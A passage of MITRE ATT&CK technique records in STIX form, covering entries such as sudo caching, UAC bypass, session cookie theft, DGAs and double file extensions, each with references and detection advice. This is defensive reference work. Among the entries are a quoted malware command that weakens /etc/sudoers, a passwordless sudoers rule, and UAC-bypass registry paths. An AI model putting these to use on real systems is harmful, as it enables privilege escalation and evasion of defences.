] | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"Containers",
"macOS"
] | 2.4 |
attack-pattern | attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T14:21:52.750000Z" | "2022-04-20T17:08:21.101000Z" | LC_LOAD_DYLIB Addition | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/006"
},
{
"description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "Malware Persistence on OS X",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "Writing Bad Malware for OSX",
"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-10-08T20:04:35.508000Z" | "2024-04-16T12:56:56.861000Z" | Steal Web Session Cookie | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)
After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1539",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1539"
},
{
"description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "Krebs Discord Bookmarks 2023",
"url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
},
{
"description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.",
"external_id": null,
"source_name": "Unit 42 Mac Crypto Cookies January 2019",
"url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
},
{
"description": "GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.",
"external_id": null,
"source_name": "Kaspersky TajMahal April 2019",
"url": "https://securelist.com/project-tajmahal/90240/"
},
{
"description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Github evilginx2",
"url": "https://github.com/kgretzky/evilginx2"
},
{
"description": "Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.",
"external_id": null,
"source_name": "GitHub Mauraena",
"url": "https://github.com/muraenateam/muraena"
},
{
"description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
"external_id": null,
"source_name": "Pass The Cookie",
"url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
},
{
"description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024.",
"external_id": null,
"source_name": "Talos Roblox Scam 2023",
"url": "https://blog.talosintelligence.com/roblox-scam-overview/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Office 365",
"SaaS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--1126cab1-c700-412f-a510-61f4937bb096 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-29T17:06:22.247000Z" | "2023-04-15T16:23:05.392000Z" | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1053.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/007"
},
{
"description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Kubernetes CronJob",
"url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"
},
{
"description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.",
"external_id": null,
"source_name": "Kubernetes Jobs",
"url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"
},
{
"description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
"external_id": null,
"source_name": "Threat Matrix for Kubernetes",
"url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Containers"
] | 1.3 |
attack-pattern | attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-10T17:44:59.787000Z" | "2022-03-11T18:26:23.432000Z" | Domain Generation Algorithms | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1568.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568/002"
},
{
"description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "Cybereason Dissecting DGAs",
"url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
},
{
"description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "Cisco Umbrella DGA",
"url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
},
{
"description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
"external_id": null,
"source_name": "Unit 42 DGA Feb 2019",
"url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
},
{
"description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
"external_id": null,
"source_name": "Talos CCleanup 2017",
"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
},
{
"description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "Akamai DGA Mitigation",
"url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html"
},
{
"description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
"external_id": null,
"source_name": "FireEye POSHSPY April 2017",
"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
},
{
"description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "ESET Sednit 2017 Activity",
"url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
},
{
"description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "Data Driven Security DGA",
"url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
},
{
"description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
"external_id": null,
"source_name": "Pace University Detecting DGA May 2017",
"url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
},
{
"description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
"external_id": null,
"source_name": "Elastic Predicting DGA",
"url": "https://arxiv.org/pdf/1611.00791.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.
Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-08-04T20:54:03.066000Z" | "2021-10-14T21:09:59.588000Z" | Double File Extension | Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)
Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)
Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1036.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/007"
},
{
"description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.",
"external_id": null,
"source_name": "PCMag DoubleExtension",
"url": "https://www.pcmag.com/encyclopedia/term/double-extension"
},
{
"description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.",
"external_id": null,
"source_name": "SOCPrime DoubleExtension",
"url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/"
},
{
"description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.",
"external_id": null,
"source_name": "Seqrite DoubleExtension",
"url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-30T14:24:34.977000Z" | "2023-04-21T12:35:39.112000Z" | Bypass User Account Control | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1548.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/002"
},
{
"description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "Davidson Windows",
"url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
},
{
"description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
"external_id": null,
"source_name": "TechNet How UAC Works",
"url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
},
{
"description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
"external_id": null,
"source_name": "SANS UAC Bypass",
"url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
},
{
"description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
"external_id": null,
"source_name": "MSDN COM Elevation",
"url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
},
{
"description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
"external_id": null,
"source_name": "enigma0x3 Fileless UAC Bypass",
"url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
},
{
"description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
"external_id": null,
"source_name": "enigma0x3 sdclt app paths",
"url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
},
{
"description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
"external_id": null,
"source_name": "enigma0x3 sdclt bypass",
"url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
},
{
"description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
"external_id": null,
"source_name": "TechNet Inside UAC",
"url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
},
{
"description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
"external_id": null,
"source_name": "Fortinet Fareit",
"url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
},
{
"description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
"external_id": null,
"source_name": "Github UACMe",
"url": "https://github.com/hfiref0x/UACME"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.
Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:
* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)
* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)
Analysts should monitor these Registry settings for unauthorized changes. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.1 |
attack-pattern | attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-17T15:28:10.689000Z" | "2021-03-25T17:03:26.632000Z" | Internet Connection Discovery | Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.
Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1016.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1016/001"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-30T14:34:44.992000Z" | "2022-03-14T16:28:19.781000Z" | Sudo and Sudo Caching | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1548.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/003"
},
{
"description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
"external_id": null,
"source_name": "sudo man page 2018",
"url": "https://www.sudo.ws/"
},
{
"description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "OSX.Dok Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
},
{
"description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
"external_id": null,
"source_name": "cybereason osx proton",
"url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T21:09:55.995000Z" | "2020-03-25T22:48:14.605000Z" | Archive via Custom Method | An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1560.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560/003"
},
{
"description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
"external_id": null,
"source_name": "ESET Sednit Part 2",
"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--144e007b-e638-431d-a894-45d90c54ab90 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-08-30T18:03:05.864000Z" | "2023-09-05T20:45:22.041000Z" | Modify Cloud Compute Infrastructure | An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.
Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1578",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578"
},
{
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.",
"external_id": null,
"source_name": "Mandiant M-Trends 2020",
"url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
